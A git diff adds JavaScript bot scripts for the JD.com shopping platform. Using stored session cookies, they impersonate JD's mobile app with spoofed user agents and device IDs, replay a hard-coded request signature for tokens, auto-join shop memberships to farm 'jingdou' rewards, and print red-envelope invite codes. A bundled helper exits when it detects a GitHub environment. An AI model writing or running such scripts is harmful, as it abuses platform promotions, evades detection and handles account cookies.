getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_fc.js b/backUp/jd_fc.js new file mode 100644 index 0000000..3902766 --- /dev/null +++ b/backUp/jd_fc.js @@ -0,0 +1,213 @@ +/* + + 0,2 0 * * * jd_fc.js, tag=柠檬发财大赢家, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ + + +const $ = new Env('柠檬发财大赢家获取邀请码'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let redEnvelopeId = ''; +let inviter = ''; + +if (process.env.redEnvelopeId) { + redEnvelopeId = process.env.redEnvelopeId; +} + +if (process.env.inviter) { + inviter = process.env.inviter; +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + //await zhuli() + // await list() + await info() + + + + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function info() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com/?functionId=redEnvelopeInteractHome&body={"linkId":"yMVR-_QKRd2Mq27xguJG-w"}&t=1626358531348&appid=activities_platform&clientVersion=3.5.6`, + + +headers: { +"Origin": "https://618redpacket.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "User-Agent: Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", + "Cookie": cookie, + } + } + + $.get(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.code == 0){ + + console.log(`export redEnvelopeId="${data.data.redEnvelopeId}"\nexport inviter="${data.data.markedPin}"`) + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + + + + + + + + + + + + + + + + + + +async function taskPostUrl(functionId,body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 